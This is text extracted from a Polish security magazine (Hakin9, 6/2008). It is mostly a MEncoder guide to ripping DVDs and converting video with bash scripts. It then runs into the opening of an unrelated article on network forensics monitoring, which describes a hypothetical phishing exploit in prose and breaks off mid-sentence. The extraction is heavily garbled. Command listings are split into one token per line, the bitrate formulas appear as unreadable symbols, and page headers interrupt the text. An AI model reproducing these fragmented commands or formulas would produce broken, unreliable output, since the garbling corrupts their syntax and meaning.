MENCODER - VADEMECUM RIPOWANIA
HAKIN9
6/2008
że operacja ta się uda) plik wyjściowy o
rozszerzeniu FLV (czyli Flash Video, bardzo
powszechnie stosowany w obecnych
czasach ze względu na małą objętość
pliku). Otóż posłużymy się poleceniem
-
of lavf
. Ogólna postać polecenia, które
wydamy MEncoderowi może być taka:
Skoro zdecydowaliśmy już, w jakim
formacie będzie nasz wyjściowy plik,
przejdźmy do kodeków dźwięku i obrazu.
Zacznijmy od sprawdzenia bibliotek
dostępnych w naszym systemie.
Używamy do tego poleceń
mencoder -
oac help
oraz
mencoder -ovc help
.
Pierwsze wyświetli listę kodeków dla
dźwięku, natomiast drugie – dla obrazu.
Przykładowa lista kodeków audio to: copy,
pcm, mp3lame, lavc, twolame, faac,
natomiast wideo: copy, frameno, raw, nuv,
lavc, vfw, qtvideo, libdv, xvid oraz x264.
Zastanówmy się, których kodeków
będziemy używać najczęściej.
Najpopularniejsze formaty dźwięku to MP3
(skompresowany) lub AC3 (oryginalny,
nieskompresowany). Jeśli chodzi o
kodowanie obrazu, to tutaj górują: XVID,
LAVC (kompatybilny z DIVX 5), a także
X264. Nie pozostaje nam nic innego, jak
powiedzieć: Do dzieła!
Charakterystyka
najważniejszych kodeków
Częstym problemem jest dylemat
związany z kodekami. Tabela 1.
przedstawia obsługiwane przez program
MEncoder kodeki dźwięku, natomiast
Tabela 2. – kodeki obrazu. Zestawienie to
będzie pewnym ułatwieniem, które pozwoli
wybrać dokładnie takie formaty, jakie
nam odpowiadają. Ponadto mnogość
dostępnych bibliotek jest tak duża, że
czasami nawet doświadczony użytkownik
programu musi przez moment się
zastanowić, co powinien wybrać. Każda
biblioteka została krótko opisana, gdyż
nie zawsze nazwa wskazuje na swoiste
właściwości danego kodeka.
Warto zwrócić uwagę, że aby
zakodować materiał audio do formatu
MP3, mamy do dyspozycji aż trzy kodeki:
mp3lame, toolame, oraz twolame.
Wynika to zapewne z faktu, że jest
to najpopularniejszy format dźwięku
w dzisiejszych czasach. W praktyce
używa się trzech formatów dźwięku:
wspomnianego MP3, AC-3 lub Vorbis.
Podstawowa składnia
Zasadnicza składnia programu nie
jest skomplikowana. Te wszystkie
skomplikowanie wyglądające parametry
to tak naprawdę dodatkowe polecenia,
mające na celu poprawić jakość pliku
wyjściowego.
Oto najprostszy schemat polecenia
wydawanego MEncoderowi:
mencoder źródło -oac kodek _
dźwięku -ovc kodek _ obrazu -o
plik _ wyjściowy
Rysunek 1.
Wzór pozwalający obliczyć
bitrate dla materiału filmowego
��������
����������������������������
������������������
�
� � ��
�
�
����
�
Rysunek 2.
Wzór pozwalający obliczyć
rozmiar materiału filmowego przy
wykorzystaniu danego bitrate
��������
������������
����������
�
���� ����
��
�
�
Tabela 1.
Obsługiwane kodeki dźwięku
mp3lame
kodowanie na MP3 VBR, ABR lub przy
użyciu LAME
toolame
kodowanie na MP3
twolame
kodowanie na MP3
lavc
kodeki audio z rodziny libavcodec: mp2,
ac3, adpcm_ima_wav, sonic
faac
koder audio FAAC AAC
pcm
nieskompresowany dźwięk PCM
copy
nie konwertuje dźwięku, tylko kopiuje w
oryginalnej postaci
Tabela 2.
Obsługiwane kodeki obrazu
xvid
Xvid, kodek MPEG-4 Advanced Simple
Profile (ASP)
x264
x264, MPEG-4 Advanced Video Coding
(AVC), zwany kodekiem H.264
lavc
kodeki wideo z rodziny libavcodec: mpeg4
(kompatybilne z DivX5 oraz XviD), mjpeg,
ljpeg, h261, h263, h263p, msmpeg4
(DivX3), msmpeg4v2, wmv1 (Windows
Media Video), wmv2 (Windows Media
Video), rv10 (Real Video), rv20 (Real Video),
mpeg1video, mpeg2video, huffyuv, asv1,
asv2, ffv1, svq1, flv (Flash Video), dvvideo
(Sony Digital Video), snow
nuv
nuppel video, używany przez niektóre
aplikacje czasu rzeczywistego
raw
nieskompresowane klatki video
frameno
używany do kodowania trójprzebiegowego
(nie jest zalecane)
copy
nie przekodowuje, tylko kopiuje
zakodowane ramki
Listing 1.
Konwersja formatu AVI na
FLV
mencoder wejście.avi -of lavf -
oac mp3lame
-lameopts
abr:br=60
-ovc lavc
-lavcopts
vcodec=flv:
vbitrate=500
-o wyjście.flv
OBRONA
66
HAKIN9 6/2008
MENCODER - VADEMECUM RIPOWANIA
67
HAKIN9
6/2008
DVD: AVI
(MP3, XVID, 2-PASS)
Jesteśmy w posiadaniu płyty DVD
z filmem i chcemy wykonać kopię
zapasową. Najprościej będzie
skompresować dźwięk i obraz. Jako
kontener wybierzmy AVI (żeby można
było oglądać film na stacjonarnym
odtwarzaczu DVD), kodek dźwięku MP3,
natomiast obrazu – XVID. MEncoder
jest bardzo elastyczny, jeżeli chodzi o
ustawienia. Mamy możliwość kodowania
jedno-, dwu-, lub nawet trzystopniowego.
W przypadku kompresji jednostopniowej
od razu jest tworzony plik wynikowy. To
szybka metoda, ale też jakość obrazu
jest słaba. Polecam kodowanie dwu- lub
trzystopniowe. W tym wypadku najpierw
zakładane są pliki tymczasowe, a
następnie w drugim (lub analogicznie
trzecim) przebiegu jest tworzony plik
wynikowy.
Najlepszą jakość otrzymamy
oczywiście w przypadku trzystopniowego
kodowania – niestety, nie ma nic za
darmo. Jak można się domyślić, istnieje
pewna zależność: im lepszą jakość
chcemy uzyskać, tym więcej czasu
musimy przeznaczyć na kodowanie.
Zastanówmy się jeszcze, czy chcemy,
aby nasz plik wyjściowy mieścił się
na jednej, czy np. dwóch płytach CD.
Przerabianie filmu bezpośrednio z
płyty jest niewskazane, ponieważ jest
to proces z jednej strony powolny,
a z drugiej – niszczy napęd CD-ROM.
Zaleca się zawsze kopiowanie pliku
wejściowego na dysk, a po zakończeniu
prac nad nim – po prostu jego
usunięcie. Rozpoczynamy od kopiowania
(przy założeniu, że film ma być na jednej
płycie CD):
Kopia płyty będzie się znajdować w
katalogu /tmp. Teraz możemy przystąpić
do konwersji. Jak wcześniej ustaliliśmy,
materiał audio i wideo będzie kodowany
dwustopniowo. Zaczynamy od pierwszego
kroku:(Listing 8.)
Wygląda skomplikowanie, ale takie
nie jest. Na początku wskazujemy
ścieżkę do pliku tymczasowego (
/tmp/
/tytul _ filmu-cache
), następnie
ustawiamy parametry dźwięku (tutaj
format MP3) oraz obrazu (kodek XviD,
bitrate 900 i pierwszy przebieg). Na
koniec podajemy dodatkowe filtry
Listing 2.
Zgrywanie filmu DVD do postaci pliku roboczego (tzw. dumpfile)
mplayer dvd://1
-dvd-device /dev/
dvd -v -v -dumpstream -dumpfile
"/tmp//tytul_filmu-cache"
unlink frameno.avi 2> /dev/null
Listing 3.
Konwersja materiału filmowego z DVD na AVI
#!/bin/bash
mplayer
dvd
:
//
1
-
dvd
-
device
/
dev
/
dvd
-
v
-
v
-
dumpstream
-
dumpfile
"/tmp//tytul_filmu-
cache"
unlink
frameno
.
avi
2
>
/
dev
/
null
mencoder
/
tmp
//
tytul_filmu
-
cache
-
oac
mp3lame
-
lameopts
abr
:
br
=
128
-
aid
128
-
ovc
xvid
-
xvidencopts
bitrate
=
900
:
pass
=
1
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:
-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
128
-
o
"/dev/null"
mencoder
/
tmp
//
tytul_filmu
-
cache
-
oac
mp3lame
-
lameopts
abr
:
br
=
128
-
aid
128
-
ovc
xvid
-
xvidencopts
bitrate
=
900
:
pass
=
2
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:
-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
128
-
o
"/home/lucas/tytul_filmu.avi"
unlink
divx2pass
.
log
2
>
/
dev
/
null
unlink
"/tmp//tytul_filmu-cache"
Listing 4.
Konwersja materiału filmowego z DVD na AVI
#!/bin/bash
mplayer
dvd
:
//
1
-
dvd
-
device
/
dev
/
dvd
-
v
-
v
-
dumpstream
-
dumpfile
"/tmp//tytul_filmu-
cache"
unlink
frameno
.
avi
2
>
/
dev
/
null
mencoder
/
tmp
//
tytul_filmu
-
cache
-
oac
copy
-
aid
128
-
ovc
xvid
-
xvidencopts
bitrate
=
900
:
pass
=
1
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
128
-
o
"/dev/null"
mencoder
/
tmp
//
tytul_filmu
-
cache
-
oac
copy
-
aid
128
-
ovc
xvid
-
xvidencopts
bitrate
=
900
:
pass
=
2
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
128
-
o
"/home/lucas/tytul_filmu.avi"
unlink
divx2pass
.
log
2
>
/
dev
/
null
unlink
"/tmp//tytul_filmu-cache"
Listing 5.
Konwersja materiału filmowego z DVD na AVI
#!/bin/bash
mplayer
dvd
:
//
1
-
dvd
-
device
/
dev
/
dvd
-
chapter
7
-
12
-
v
-
v
-
dumpstream
-
dumpfile
"/tmp//
moje_pliki-2-cache"
mplayer
dvd
:
//
1
-
dvd
-
device
/
dev
/
dvd
-
chapter
1
-
6
-
v
-
v
-
dumpstream
-
dumpfile
"/tmp//
moje_pliki-1-cache"
eject
/
dev
/
dvd
unlink
frameno
.
avi
2
>
/
dev
/
null
mencoder
/
tmp
//
moje_pliki
-
1
-
cache
-
oac
copy
-
aid
129
-
ovc
xvid
-
xvidencopts
bitrate
=
1633
:
pass
=
1
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
129
-
o
"/dev/null"
mencoder
/
tmp
//
moje_pliki
-
1
-
cache
-
oac
copy
-
aid
129
-
ovc
xvid
-
xvidencopts
bitrate
=
1633
:
pass
=
2
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
129
-
o
"/home/lucas/moje_pliki-1.avi"
unlink
divx2pass
.
log
2
>
/
dev
/
null
unlink
"/tmp//moje_pliki-1-cache"
mencoder
/
tmp
//
moje_pliki
-
2
-
cache
-
oac
copy
-
aid
129
-
ovc
xvid
-
xvidencopts
bitrate
=
1740
:
pass
=
1
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
129
-
o
"/dev/null"
mencoder
/
tmp
//
moje_pliki
-
2
-
cache
-
oac
copy
-
aid
129
-
ovc
xvid
-
xvidencopts
bitrate
=
1740
:
pass
=
2
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
129
-
o
"/home/lucas/moje_pliki-2.avi"
unlink
divx2pass
.
log
2
>
/
dev
/
null
unlink
"/tmp//moje_pliki-2-cache"
OBRONA
66
HAKIN9 6/2008
MENCODER - VADEMECUM RIPOWANIA
67
HAKIN9
6/2008
(
pp=dd, hqdn3d=2:1:2
). Ich użycie
jest zalecane, gdyż znacznie poprawiają
jakość materiału wyjściowego. Jeszcze
tylko skalujemy obraz – przy czym
należy wspomnieć, że najlepsze efekty
daje szerokość obrazu 640 p. Wysokość
jest dopasowana automatycznie.
Można również zauważyć, że
MEncoder daje możliwość tzw.
docinania obrazu (
crop
). W powyższym
przykładzie nie stosujemy tego, więc
podano
crop=0:0:0:0
. Liczby te
oznaczają kolejno szerokość, wysokość
oraz współrzędne lewego dolnego rogu
wycinanego fragmentu obrazu. Teraz
pozostało jedynie uruchomić drugi
przebieg i gotowe! (Listing 7.)
Jedyną innowacją jest tu konkretna
ścieżka dla pliku wynikowego. Jedyne,
co musimy teraz zrobić, to usunąć
pozostałości po kodowaniu (czyli pliki
tymczasowe):
unlink divx2pass.log 2> /dev/null
unlink "/tmp/
/tytul_filmu-cache"
Osobiście polecam stworzenie pliku np.
Konwersja.sh o treści przedstawionej na
Listingu 3.
Aby uruchomić taki plik, wydajemy
polecenie
sh Konwersja.sh
i... możemy
zająć się czymś innym, ponieważ
kodowanie zajmie dłuższą chwilę.
DVD: AVI
(AC3, XVID, 2-PASS)
W powyższym przykładzie dźwięk
został skompresowany. Czasem jednak
zależy nam, aby pozostał oryginalny,
przestrzenny. Aby go wydobyć, wystarczy
jedynie zamienić
mp3lame -lameopts
abr:br=128
na
copy
. Teraz program
nie będzie kompresował dźwięku, lecz
dosłownie skopiuje go takim, jaki jest.
Skrypt powinien wyglądać następująco:
(Listing 4)
Jeżeli zamierzasz używać
oryginalnego dźwięku przestrzennego,
to rekomenduje się kodowanie filmu
w dwóch plikach (lub jednym dużym,
ale jest to niepraktyczne), ponieważ
gwarantuje to zachowanie bardzo dobrej
jakości.
Poniżej zamieszczę gotowy skrypt,
gdyż własnoręczne podawanie
Listing 6.
Konwersja materiału filmowego z DVD na AVI
#!/bin/bash
mplayer
dvd
:
//
1
-
dvd
-
device
/
dev
/
dvd
-
v
-
v
-
dumpstream
-
dumpfile
"/tmp//moje_pliki-
cache"
eject
/
dev
/
dvd
unlink
frameno
.
avi
2
>
/
dev
/
null
mencoder
/
tmp
//
moje_pliki
-
cache
-
oac
mp3lame
-
lameopts
abr
:
br
=
128
-
ovc
frameno
-
o
frameno
.
avi
mencoder
/
tmp
//
moje_pliki
-
cache
-
oac
copy
-
ovc
xvid
-
xvidencopts
bitrate
=
778
:
pass
=
1
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
o
"/dev/
null"
mencoder
/
tmp
//
moje_pliki
-
cache
-
oac
copy
-
ovc
xvid
-
xvidencopts
bitrate
=
778
:
pass
=
2
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
o
moje_
pliki
.
avi
unlink
frameno
.
avi
2
>
/
dev
/
null
unlink
divx2pass
.
log
2
>
/
dev
/
null
unlink
"/tmp//moje_pliki-cache"
Listing 7.
Konwersja materiału filmowego z DVD na AVI
#!/bin/bash
mplayer
dvd
:
//
1
-
dvd
-
device
/
dev
/
dvd
-
chapter
7
-
12
-
v
-
v
-
dumpstream
-
dumpfile
"/tmp//
film-2-cache"
mplayer
dvd
:
//
1
-
dvd
-
device
/
dev
/
dvd
-
chapter
1
-
6
-
v
-
v
-
dumpstream
-
dumpfile
"/tmp//
film-1-cache"
eject
/
dev
/
dvd
unlink
frameno
.
avi
2
>
/
dev
/
null
mencoder
/
tmp
//
film
-
1
-
cache
-
oac
mp3lame
-
lameopts
abr
:
br
=
128
-
ovc
frameno
-
o
frameno
.
avi
mencoder
/
tmp
//
film
-
1
-
cache
-
oac
copy
-
ovc
xvid
-
xvidencopts
bitrate
=
1633
:
pass
=
1
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
o
"/dev/null"
mencoder
/
tmp
//
film
-
1
-
cache
-
oac
copy
-
ovc
xvid
-
xvidencopts
bitrate
=
1633
:
pass
=
2
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
o
film
-
1.
avi
unlink
frameno
.
avi
2
>
/
dev
/
null
unlink
divx2pass
.
log
2
>
/
dev
/
null
unlink
"/tmp//film-1-cache"
mencoder
/
tmp
//
film
-
2
-
cache
-
oac
mp3lame
-
lameopts
abr
:
br
=
128
-
ovc
frameno
-
o
frameno
.
avi
mencoder
/
tmp
//
film
-
2
-
cache
-
oac
copy
-
ovc
xvid
-
xvidencopts
bitrate
=
1740
:
pass
=
1
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
o
"/dev/null"
mencoder
/
tmp
//
film
-
2
-
cache
-
oac
copy
-
ovc
xvid
-
xvidencopts
bitrate
=
1740
:
pass
=
2
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:-
2
,
hqdn3d
=
2
:
1
:
2
-
o
film
-
2.
avi
unlink
frameno
.
avi
2
>
/
dev
/
null
unlink
divx2pass
.
log
2
>
/
dev
/
null
unlink
"/tmp//film-2-cache"
Rysunek 3.
Proces kodowania materiału filmowego (największe obciążenie systemu)
OBRONA
68
HAKIN9 6/2008
kolejnych linijek byłoby dość uciążliwe i
czasochłonne.(Listing 5.)
Jeszcze tylko jedna uwaga. Skąd
wiadomo, że należy skopiować rozdziały
-chapter 1-6
i
-chapter 7-12
?
Należy to wcześniej sprawdzić. Używamy
do tego polecenia:
ls /media/cdrom/VIDEO_TS | grep VOB
Wyświetli ono listę plików *.VOB,
czyli nasz materiał wejściowy. Jeżeli
będzie ich 12, to należy zdefiniować
parametr chapter tak, jak w powyższym
przykładzie. Jeśli natomiast będzie ich
10, to podajemy 1-5 i 6-10.
DVD: AVI
(MP3, XVID, 3-PASS)
Aby w tekście niczego nie zabrakło,
zaprezentuję jeszcze trzystopniowy
proces kompresji. W pierwszym kroku
będzie kodowany dźwięk, a w dwóch
pozostałych obraz. Daje to oczywiście
najlepszą z możliwych jakość kompresji,
jednak zabiera też mnóstwo czasu. Tak,
jak wcześniej materiał wstępny zostanie
skopiowany na dysk twardy, do katalogu
z plikami tymczasowymi.
Dla jednego pliku wynikowego skrypt
będzie wyglądał następująco:(Listing
6). A tak będzie to wyglądało, jeśli
zdecydujemy się, aby film znajdował się
w dwóch plikach:(Listing 7.)
Jak obliczyć bitrate?
Poniżej przedstawię dwa wzory, które
pozwalają w przybliżeniu obliczyć bitrate
oraz rozmiar pliku wynikowego. Pierwszy
służy do obliczenia odpowiedniego
bitrate dla materiału filmowego o
określonej wielkości i długości.(Rysunek
1. i 2.)
Rozmiar – rozmiar materiału
filmowego (obrazu) wyrażony w MB,
Długość – długość materiału
filmowego wyrażona ostatecznie w
sekundach.
AVI : AVI (MP3, LAVCODEC)
Czasem zachodzi konieczność
przetworzenia pliku AVI również na AVI,
lecz używając do tego innych kodeków
i np. zmieniając rozdzielczość. Załóżmy,
że do kompresji posiadanego przez
nas filmu użyto XviD'a, a nam zależy,
żeby film był zakodowany przy pomocy
Lavcodec. Nie stanowi to żadnego
problemu. Analogicznie wygląda to w
przypadku innych bibliotek. (Listing 10.)
RMVB: AVI (MP3, XVID)
Najprostszym sposobem konwersji pliku
RMVB na AVI jest użycie polecenia:
mencoder film.rmvb -oac
mp3lame -ovc xvid -xvidencopts
bitrate=900 -o film.avi
Oczywiście możemy również dodać kilka
opcji upiększających, np.
-vf pp=de,
crop=0:0:0:0, scale=640:-2,
hqdn3d=2:1:2
. Wciskamy [ENTER] i nie
pozostaje nam nic innego, jak radosne
oczekiwanie na plik AVI.
Jak scalić
napisy z plikiem wideo?
Niektóre odtwarzacze DVD mają problem
z odczytywaniem napisów do filmów
umieszczonych w oddzielnych plikach.
Najlepszym (a przynajmniej najszybszym)
rozwiązaniem jest scalenie napisów i
filmu w jeden zbiór. Poniżej podam prosty
sposób na wykonanie tej czynności: (Listing
11.) Osobiście polecam na początek użycie
dodatkowej opcji, którą można wstawić na
samym końcu komendy – a mianowicie
-endpos 10mb
. MEncoder przekonwertuje
pierwsze 10 MB filmu, dzięki czemu
będziemy mogli sprawdzić, czy wynik
końcowy nam odpowiada (np. czy czcionka
dobrze wygląda).
Podsumowanie
Można śmiało potwierdzić zdanie
wielu doświadczonych użytkowników
systemów Linux, że MEncoder należy
do czołówki najlepszych programów
kodujących materiał wideo.
Obsługa nie należy do najprostszych,
jednak efekty oraz szybkość działania
zdumiewają wszystkich. Można oczywiście
skorzystać ze specjalnej nakładki na
MEncoder, czyli AcidRip. Została ona
napisana w Perlu, a jej zadanie od
początku było jasne: połączyć doskonałość
MEncodera z prostotą GUI. Może jednak
warto się trochę potrudzić i pracować
w konsoli, ponieważ zaoszczędzi nam
to trochę czasu. MEncoder należałoby
szczególnie polecić początkującym,
ponieważ zaawansowani użytkownicy
systemu już dawno docenili jego ogromne
możliwości.
Łukasz Ciesielski
Autor od 8 lat jest pasjonatem programowania (C/C++,
Qt, GTK, Pascal, Java oraz Assembler), natomiast od
7 lat jest wiernym użytkownikiem systemów typu Linux
(obecnie Debian Etch).
Kontakt z autorem: lucas.ciesielski@gmail.com
Listing 8.
Pierwszy stopień kodowania materiału filmowego
mencoder
/
tmp
//
tytul_filmu
-
cache
-
oac
mp3lame
-
lameopts
abr
:
br
=
128
-
aid
128
-
ovc
xvid
-
xvidencopts
bitrate
=
900
:
pass
=
1
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:
-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
128
-
o
"/dev/null"
Listing 9.
Drugi stopień kodowania materiału filmowego
mencoder
/
tmp
//
tytul_filmu
-
cache
-
oac
mp3lame
-
lameopts
abr
:
br
=
128
-
aid
128
-
ovc
xvid
-
xvidencopts
bitrate
=
900
:
pass
=
2
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
640
:
-
2
,
hqdn3d
=
2
:
1
:
2
-
aid
128
-
o
"/ścieżka/do/filmu/tytul_filmu.avi"
Listing 10.
Zmiana parametrów pliku AVI
mencoder
plik_wej
ś
ciowy
.
avi
-
oac
mp3lame
-
lameopts
abr
:
br
=
128
-
ovc
lavc
-
lavcopts
vcodec
=
mpeg4
:
vhq
:
v4mv
:
vqmin
=
2
:
vbitrate
=
900
-
vf
pp
=
de
,
crop
=
0
:
0
:
0
:
0
,
scale
=
480
:-
2
,
hqdn3d
=
2
:
1
:
2
-
o
plik_wyj
ś
ciowy
.
avi
Listing 11.
Polecenie pozwalające na scalenie napisów z plikiem video
mencoder
plik_wej
ś
ciowy
.
avi
-
oac
copy
-
ovc
xvid
-
xvidencopts
fixed_quant
=
5
-
sub
napisy
.
txt
-
subcp
cp1250
-
font
/
scie
ż
ka
/
do
/
czcionka
.
ttf
-
o
plik_wyj
ś
ciowy
.
avi
70
OBRONA
HAKIN9 6/2008
I
ncydent Titan Rain i kolejne publicznie
ujawnione przypadki penetracji sieci
rządowych Stanów Zjednoczonych, Wielkiej
Brytanii i Niemiec obnażają rzeczywiste „dziury”
w systemach i małą sprawność ich właścicieli
w rozpoznawaniu zagrożeń. Powtarzające się,
specyficzne przypadki nieautoryzowanego
dostępu do informacji wskazują na istnienie grup
działających w sposób zorganizowany i celowy.
W międzyczasie w międzynarodowym
sektorze prywatnym rosną nakłady na
infrastrukturę i procesy bezpieczeństwa. Okazuje
się jednak, że nakłady te nie są z jakiegoś powodu
skuteczne. W 2005 roku amerykańska firma
TJX stała się publicznym przykładem błędów i
zaniedbań bezpieczeństwa. Analizując informacje
prasowe z ostatnich lat jasno wynika, że nie
jest to przykład odosobniony. W ciagu ostatnich
dwóch lat niemal 1000 innych organizacji zostało
zmuszone do przyznania się do włamań głównie
powiązanych ze stratami danych osobowych
klientów.
Jeśli kluczowe dane mogą być kradzione
z taką łatwością przez zorganizowane
grupy przestępcze, stwierdzenie, że wyniki
najcenniejszych badań i inne wartościowe
ekonomicznie informacje we wszystkich sektorach
gospodarki również mogą zostać przejęte przez
opłaconych bądź przypadkowych sprawców,
nie jest nadużyciem. Dlaczego zatem nie mamy
bardziej gruntownej wiedzy na temat tych
zagrożeń?
EDDIE SCHWARTZ,
PRZEMYSŁAW KREJZA
Z ARTYKUŁU
DOWIESZ SIĘ
o słabych punktach dzisiejszych
zabezpieczeń systemowych,
co to jest total network
knowledge,
jak wygląda spojrzenie śledcze
na incydenty.
CO POWINIENEŚ
WIEDZIEĆ
powinieneś znać podstawy
zasad bezpieczeństwa
informacji,
powinieneś znać podstawy
reakcji na incydenty.
Technologia nie
jest zaawansowana
Skala zagrożeń istotnie zwiększyła się w ostatnich
latach jednak systemy bezpieczeństwa sieci
tak naprawdę nie stały się znacznie bardziej
zaawansowane. Od czasu gdy wprowadzono
na rynek pierwsze systemy IDS, podejście
do bezpieczeństwa wcale się nie zmieniło,
wzrosły jedynie nakłady i pojawiły kolejne
wersje oprogramowania. Pierwotne założenie
systemów wykrywania włamań utrzymuje się
do tej pory, choć było odpowiednie dla tamtych
czasów: aby incydent został wykryty, atak
musi być udokumentowany i wprowadzony do
monitoringu, jako wzór sygnatur lub zachowań,
najczęściej na zasadzie zewnętrznych definicji
firm dostarczających dane rozwiązanie.
Sensory IDS wymagają wielu wyjątków w celu
eliminacji błędnych alarmów z właściwego ruchu
sieciowego. Ponadto zastosowanie IDS na dużą
skalę generuje tak dużo zdarzeń, że wyłonienie ich
z poziomu szumów jest bardzo trudne, w związku
z czym administratorzy bezpieczeństwa uznają
konieczność wprowadzenia oprogramowania do
zarządzania wyjątkami (SIEM) w celu poprawienia
poziomu szumów. Jednak cała ta infrastruktura
ciągle bazuje na kilku niekompletnych i wadliwych
założeniach, ugruntowując następujące poglądy
na zagrożenia:
• Przeciwnik atakuje używając znanych metod,
które są udokumentowane i skatalogowane w
Stopień trudności
Monitoring
zabezpieczeń
Współczesne firmy i organizacje skupiają się na stosowaniu
tradycyjnych form obrony przed wzrastającą falą ataków
sieciowych, typu IDS/IPS, SIM itd. Coraz większa liczba
incydentów dowodzi jednak, że rozwiązania te nie są w pełni
skuteczne.
71
MONITORING ZABEZPIECZEŃ
HAKIN9
6/2008
bibliotece systemu IDS/IPS lub innym.
• Logi z firewalli, serwerów i innych
urządzeń zawierają wystarczające
informacje pozwalające wykryć i
usunąć problem, jeśli wystąpi.
Oba te założenia są niebezpiecznie
wadliwe i uosabiają krytyczne luki we
współczesnych możliwościach technologii
bezpieczeństwa stosowanych w większości
organizacji.
Krok do przodu
– platformy śledcze
total network knowledge
Aby uniknąć tych błędów, organizacje
powinny uzupełnić realizowane inwestycje w
bezpieczeństwo i procedury bezpieczeństwa
o odpowiednią infrastrukturę zdolną
do głębokiej identyfikacji zagrożeń,
umożliwiającą również gromadzenie
dowodów. Taka platforma śledcza
musiałaby działać ponad szacunkami i
zgadywaniem związanym z analizą logów
oraz bezpieczeństwie bazującym na
sygnaturach i musiałaby mieć poniższe
możliwości:
• Dogłębne przechwytywanie i
rekonstrukcja ruchu sieciowego we
wszystkich sesjach.
• Profilowanie i wizualizacja
charakterystyk ruchu sieciowego
w oparciu o warstwę aplikacji i z
możliwością rozkładu oraz analizy
ruchu.
• Posiadanie możliwości analitycznych
i narzędzi umożliwiających dostęp
do tych informacji również innym
klientom – interaktywnie i w sposób
automatyczny.
Koncepcja sniffingu pakietów i ruchu
sieciowego nie jest niczym nowym dla
administratorów sieciowych zajmujących
się problemami i wydajnością sieci.
To właśnie ruch sieciowy, a nie logi
czy zdarzenia na końcówkach IDS,
zawiera wszystko, co dzieje się w sieci.
Z perspektywy bezpieczeństwa właśnie
na tym poziomie należałoby kontrolować
incydenty. Zrozumienie tej tezy i
wykorzystanie możliwości monitoringu sieci
bazujące na przechwytywaniu pakietów
prowadzi do koncepcji następnej generacji
narzędzi bezpieczeństwa oferując nowe i
ulepszone spojrzenie na problemy od razu,
gdy wystąpią pozwalając równocześnie
na remediacjię. Zaawansowane platformy
śledcze dają takie możliwości.
Aby lepiej zrozumieć możliwości
monitoringu sieciowego opartego o
platformę śledczą, spróbujmy sobie
wyobrazić, że posiadamy rozbudowane
rozwiązanie do przechwytywania i analizy
pakietów na poziomie całej sieci. Załóżmy
następujący przypadek: pewna grupa
otrzymała zlecenie kradzieży danych
osobowych naszych klientów. Ponieważ
jedną z najbardziej skutecznych metod ataku
jest phishing, przygotowano dedykowanego
exploita i skonstruowano odpowiedni mail
skierowany do managementu naszej firmy.
Spreparowany mail pochodzi od zaufanej
organizacji i zawiera prośbę o wypełnienie
ankiety na fałszywej stronie WWW.
Strona ta zawiera niebezpieczny
kod zawarty w pliku „update443.exe”,
który zostaje uruchomiony bez wiedzy
użytkownika. Kod modyfikuje plik
IEXPLORE.EXE
, dając przeciwnikowi
ścieżkę komunikacyjną do sieci
użytkownika poprzez port TCP 443
– typowo otwarty w większości sieci i
generalnie nie monitorowany szczegółowo,
oprócz wyjątkowo dziwnych zachowań.
Ten przykład ma na celu wyłącznie
pokazanie możliwości obejścia
hipotetycznego systemu wyposażonego
w oprogramowanie rozpoznające wzorce
i korelujące zdarzenia. W normalnych
warunkach zapewne konieczne byłoby
Rysunek 1.
Spojrzenie śledcze na exploit „update443.exe”
Fakty dzisiejszego dnia:
• Ataki przypadkowe zamieniły się w celowe, precyzyjne działanie;
• Ugruntował się podziemny rynek programistyczny;
• Przemysł przestępczy rośnie logarytmicznie – w latach 1997-2004 odnotowano 100 tys.
ataków on-line a w kolejnych dwóch już dwa razy więcej;
• „Robak” na zamówienie kosztuje od $10,000 - $100,000;
• Hakerzy „ideologiczni” przestali się liczyć;
Cele działań zorganizowanych:
• Zysk;
• Kradzież informacji (tajemnica państwowa, własność intelektualna, tożsamość);
Złośliwe oprogramowanie:
• Zaawansowane i skomplikowane o niespodziewanych możliwościach;
• Przetestowane i wysokiej jakości.
• Stabilne,
• Wyprodukowane za pomocą profesjonalnych narzędzi;
• Finansowane przez bogate organizacje.
OBRONA
72
HAKIN9 6/2008
spełnienie większej ilości założeń, aby atak
nie został zatrzymany przez IDS czy system
antywirusowy. Niemniej ich spełnienie
przy ataku celowym jest możliwe. W
przeciwieństwie do tych systemów,
platforma śledcza niczego nie zakłada z
góry – dając pełne możliwości analityczne.
Dzięki temu analityk sieciowy ma
możliwość błyskawicznego rozpoznania
zagrożenia. Kiedy nasz użytkownik został
nabrany i uruchomił exploita, w ruchu
sieciowym zobaczymy:
• nieproporcjonalnie duży ruch na port
TCP 443, którego wcześniej nie było,
• pojawienie się ruchu do
